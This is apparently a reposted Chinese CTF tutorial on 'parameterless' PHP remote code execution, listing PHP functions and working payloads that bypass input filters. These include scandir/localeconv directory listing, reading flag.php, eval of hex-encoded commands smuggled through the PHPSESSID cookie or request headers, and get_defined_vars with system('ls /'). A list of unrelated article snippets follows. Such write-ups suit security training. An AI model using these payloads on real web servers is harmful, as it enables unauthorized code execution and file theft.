无参数RCE

无参数RCE(Remote Code Execution,远程代码执行)

是一种通过利用目标系统中的漏洞,在不直接传递用户可控参数的情况下,实现远程执行任意代码的攻击技术。与传统的RCE攻击不同,无参数RCE不依赖外部输入参数(如GET、POST请求中的数据),而是通过目标系统本身的功能、配置或环境变量触发漏洞执行恶意代码。

无参数RCE题目特征

正则表达式 [^\W]+\) 匹配了一个或多个非标点符号字符

就拿TGCTF来说

这个过滤了几乎所有的字符,符合无参数RCE

无参数RCE相关函数简要介绍 

1. 目录与文件操作

  • scandir()
    列出指定目录中的文件和目录,返回数组。

    • 示例:scandir('.') 列出当前目录。
    • 配合 current()next() 等函数可遍历文件。
  • chdir()
    改变当前工作目录。

    • 示例:chdir('..') 切换到上级目录。
  • dirname()
    返回路径中的目录部分。

    • 示例:dirname('/var/www/html') 返回 /var/www
  • getcwd()
    获取当前工作目录。

  • highlight_file()
    输出文件的语法高亮内容,等价于读取文件。

    • 示例:highlight_file('index.php')
  • readfile()
    输出文件内容。

    • 示例:readfile('flag.php')
  • file_get_contents()
    将文件内容读取为字符串。


2. 数组操作

  • current()
    返回数组中的当前元素(默认第一个)。

    • 示例:current(['a', 'b', 'c']) 返回 'a'
  • next()
    将数组内部指针向前移动一位并返回当前元素。

    • 示例:next(['a', 'b', 'c']) 返回 'b'
  • prev()
    将数组内部指针向后移动一位并返回当前元素。

  • end()
    将指针移动到数组末尾并返回最后一个元素。

  • reset()
    将指针重置到数组开头。

  • array_reverse()
    反转数组顺序。

    • 示例:array_reverse([1, 2, 3]) 返回 [3, 2, 1]
  • array_rand()
    从数组中随机返回一个或多个键名。

    • 示例:array_rand(['a' => 1, 'b' => 2]) 返回 'a' 或 'b'
  • array_flip()
    交换数组的键和值。

    • 示例:array_flip(['a' => 1, 'b' => 2]) 返回 [1 => 'a', 2 => 'b']

3. 环境与会话

  • get_defined_vars()
    返回所有已定义变量的数组(包括 $_GET$_POST 等)。
    • 示例:get_defined_vars()['_GET']['cmd'] 可获取 cmd 参数。
  • session_id()
    获取或设置当前会话 ID。
    • 配合 session_start() 和 $_COOKIE['PHPSESSID'] 可实现代码注入。
  • getenv()
    获取环境变量值。
    • 示例:getenv('PATH')

4. 字符串与时间

  • localeconv()
    返回包含本地数字及货币格式信息的数组,第一项为 '.'(当前目录)。

    • 示例:current(localeconv()) 返回 '.'
  • strrev()
    反转字符串。

    • 示例:strrev('12345') 返回 '54321'
  • time()
    返回当前时间戳。

  • chr()
    返回指定 ASCII 码的字符。

    • 示例:chr(46) 返回 '.'

5. 特殊函数

  • eval()
    执行字符串作为 PHP 代码(危险,慎用)。

    • 示例:eval('echo "hello";')
  • assert()
    评估字符串作为 PHP 代码(与 eval() 类似)。

  • preg_replace()
    执行正则表达式搜索和替换,可能被用于 RCE。

    • 示例:preg_replace('/pattern/', 'replacement', $subject)

举个例子scandir('.')是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload:

?参数=var_dump(scandir(current(localeconv())));

方法一:scandir()需要修改PHPSESSION

简单分析一下payload

highligth_file(next(array_reverse(scandir(current(localeconv())))));

接下来逐个解析,1、 这里的var_dump(localeconv());我们能看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的

2、 利用current()函数将这个点取出来的,‘.’代表的是当前目录,那接下来就很好理解了,我们可以利用这个点完成遍历目录的操作,相当于就是linux中的ls指令

3、既然current()取第一个值,那么current(localeconv())构造一个‘.’,而'.' 表示当前目录,scandir('.') 将返回当前目录中的文件和子目录,这里我们得知flag所在的文件名就是flag.php

4、然而flag的文件名在比较后端我们可以通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二

5、移动指针读取第二个数组,参照下列数组移动操作可知我们应选用next()函数

6、最后用highlight_file()返回文件内容

方法二:session_id()

 使用条件:当请求头中有cookie时

 首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西

法一:hex2bin()

我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

例子:?参数=eval(hex2bin(session_id(session_start())));

或者可以分开用:

?参数=session_start();system(hex2bin(session_id()));

法二:读文件

如果已知文件名,把文件名写在PHPSESSID后面,

可以构造payload:readfile(session_id(session_start()));

方法三:getallheaders()

getallheaders()返回当前请求的所有请求头信息

当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

var_dump(end(getallheaders()));

方法四:get_defined_vars()

相较于getallheaders()更加具有普遍性,它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,

返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES

首先确认是否有回显:

print_r(get_defined_vars());

假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:

a=eval(end(current(get_defined_vars())));&b=system('ls /');

把eval换成assert也行 ,能执行system('ls /')就行

*方法五:chdir()&array_rand()赌狗读文件

实在无法rce,可以考虑目录遍历进行文件读取

利用getcwd()获取当前目录:

var_dump(getcwd());

结合dirname()列出当前工作目录的父目录中的所有文件和目录:

var_dump(scandir(dirname(getcwd())));

读上一级文件名:

?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

读根目录:

ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr)解码,有概率会解码出斜杠读取根目录

?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

要用chdir()固定,payload:

 ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));

通过bp的intruder模块来读到根目录

部分摘自无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/79074.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OL9设置oracle23ai数据库开机自启动

1、设置oracle用户的环境变量信息 [oracleOracleLinuxR9U5 ~]$vim ~/.bash_profile # Set Oracle environment variables for Oracle 23c AI export ORACLE_HOME/opt/oracle/product/23ai/dbhomeFree export ORACLE_SIDFREE export PATH$ORACLE_HOME/bin:$PATH export LD_LIB…

AI agents系列之智能体框架介绍

1. 引言 智能体AI Agents框架通过赋予自主系统动态感知、推理和行动的能力,彻底改变了AI领域。本节将探讨智能体框架的核心概念,并重点介绍为什么开源解决方案对现代AI开发的创新和可扩展性至关重要。 1.1 什么是智能体框架? 智能体框架代…

【数据资产入表】数据确权

#数据要素[话题]# #数据资源盘点[话题]# #数据资产盘点[话题]# #数据资产[话题]# #数据资产入表[话题]# #数据盘点[话题]#&…

关于vxe-select得filter-method 自定义方法得使用,忽略大小写匹配

vxe-select使用模糊匹配时&#xff0c;filter-method自定义匹配方法&#xff0c;模糊忽略大小写进行匹配数据 <vxe-select v-model"marketingId":options"marketingOptions"transfer clearable placeholder"市场"filterable :filter-method&…

AIDL 中如何传递 Parcelable 对象

目录 1. 直接在 AIDL 中定义 Parcelable 对象2. 自定义 Parcelable 对象的传递3. 以 Rect 类为例的 Parcelable 实现4. 注意安全性5. 小结1. 直接在 AIDL 中定义 Parcelable 对象 背景说明 从 Android 10(API 级别 29)开始,AIDL 允许直接在 .aidl 文件中定义 Parcelable 对…

【LangChain核心组件】Retrieval(检索)模块

在AI技术日新月异的今天&#xff0c;大型语言模型&#xff08;LLM&#xff09;的局限性也逐渐显现——它们无法有效处理特定领域知识和用户私有数据。这正是检索增强生成&#xff08;Retrieval-Augmented Generation&#xff0c;RAG&#xff09;技术崛起的根本原因。作为当前最…

Java使用WebSocket视频拆帧进度处理与拆帧图片推送,结合Apipost进行调试

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId></dependency>Configuration public class WebSocketConfig {/*** 启动 WebSocket 服务器*/Beanpublic ServerEndpointE…

XSS攻击(反射型、存储型、dom型、PDF、SWF、SVG)

一、XSS攻击是什么 XSS是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码&#xff0c;当用户浏览该页之时&#xff0c;嵌入其中 Web 里面的脚本代码会被执行&#xff0c;从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。 二、XSS分类 反射型XSS 常见情况是…

vue + element-plus自定义表单验证(修改密码业务)

写一个vue组件Password.vue 没有表单验证只有3个表单项 <template><div><el-form><el-form-item label"旧密码"><el-input></el-input></el-form-item><el-form-item label"新密码"><el-input>&l…

Linux下使用MTK的SP_Flash_tool刷机工具

MTK的SP_Flash_tool刷机工具安装流程如下&#xff1a; 1、解压SP_Flash_Tool_Linux_v5.1336.00.100_Customer.zip unzip SP_Flash_Tool_exe_Linux_64Bit_v5.1520.00.100.zip 2、首先安装 libusb-dev 这个包&#xff1a; sudo apt-get install libusb-dev 3、安装成功之后…

基于 PyGetWindow 获取窗口信息和控制窗口

PyGetWindow 是基于Python的一款简单、跨平台的模块&#xff0c;用来获取窗口信息和控制窗口。可以实现的功能有&#xff1a; 获取当前系统中所有打开窗口的列表。 根据窗口标题、窗口句柄等属性获取特定的窗口对象。 激活、最小化、最大化和关闭窗口。 获取和设置窗口的位置、…

STM32硬件IIC+DMA驱动OLED显示——释放CPU资源,提升实时性

目录 前言 一、软件IIC与硬件IIC 1、软件IIC 2、硬件IIC 二、STM32CubeMX配置KEIL配置 三、OLED驱动示例 1、0.96寸OLED 2、OLED驱动程序 3、运用示例 4、效果展示 总结 前言 0.96寸OLED屏是一个很常见的显示模块&#xff0c;其驱动方式在用采IIC通讯时&#xff0c;常用软件IIC…

【ozone工具使用指南】基于keil使用ozone创建一个调试工程

前言&#xff1a;一般调试嵌入式工程代码最常见的方式是基于keil上面DEBUG&#xff0c;使用这种最古老的方式虽然也很方便&#xff0c;但是一些功能并没有办法体现&#xff0c;比如变量的变化曲线或者波形并无法直观的显示出来&#xff0c;ozone这个工具就结合了上面提到的比ke…

【ROS2】行为树 BehaviorTree(五):详细学习端口和黑板

1、构造函数 之前使用的行为树创建节点时,默认的构造函数形如: CalculateGoal(const std::string& name, const NodeConfig& config):SyncActionNode(name,config) {

架构思维:缓存层场景实战_读缓存(下)

文章目录 Pre业务场景缓存存储数据的时机与常见问题解决方案1. 缓存读取与存储逻辑2. 高并发下的缓存问题及解决方案3. 缓存预热&#xff08;减少冷启动问题&#xff09; 缓存更新策略&#xff08;双写问题&#xff09;1. 先更新缓存&#xff0c;再更新数据库&#xff08;不推荐…

Odrive源码分析(七) 逆park变换

Odrive源码分析(七) Park逆变换 Odrive中FOC部分代码分散在各个对象中&#xff0c;并不是集中在某一块&#xff0c;所以试图在某一段代码就能得到FOC全貌是不现实的。 先看下FOC的整个流程&#xff1a; 控制变量到三相电流输出的关键部分分为Park逆变换和SVPWM。本文主要讨论…

Flink Hive Catalog最佳实践

Flink Hive Catalog 最佳实践 一、配置与初始化 依赖管理 Hive Connector 版本对齐&#xff1a;需确保 flink-sql-connector-hive 版本与 Hive 版本严格匹配&#xff08;如 Hive 3.1.3 对应 flink-sql-connector-hive-3.1.3_2.12&#xff09;&#xff0c;同时添加 Hadoop 遮蔽…

通过人类和机器人演示进行联合逆向和正向动力学的机器人训练

25年3月来自哥伦比亚大学的论文“Train Robots in a JIF: Joint Inverse and Forward Dynamics with Human and Robot Demonstrations”。 在大型机器人演示数据集上进行预训练是学习各种操作技能的强大技术&#xff0c;但通常受到收集以机器人为中心数据的高成本和复杂性限制…

金融简单介绍及金融诈骗防范

在当今社会&#xff0c;金融学如同一股无形却强大的力量&#xff0c;深刻影响着我们生活的方方面面。无论是个人的日常收支、投资理财&#xff0c;还是国家的宏观经济调控&#xff0c;都与金融学紧密相连。​ 一、金融学的概念​ 金融学&#xff0c;简单来说&#xff0c;是研…

JavaScript `new Date()` 方法移动端 `兼容 ios`,ios环境new Date()返回NaN

在 iOS 环境下&#xff0c;new Date() 方法会返回 NaN&#xff0c;这通常是由于时间字符串的格式问题。iOS 的 Date 构造函数对时间字符串的格式要求比其他平台更严格。 原因&#xff1a;ios端不兼容“-”为连接符的时间。 解决办法&#xff1a; 替换时间格式 IOS 不支持某…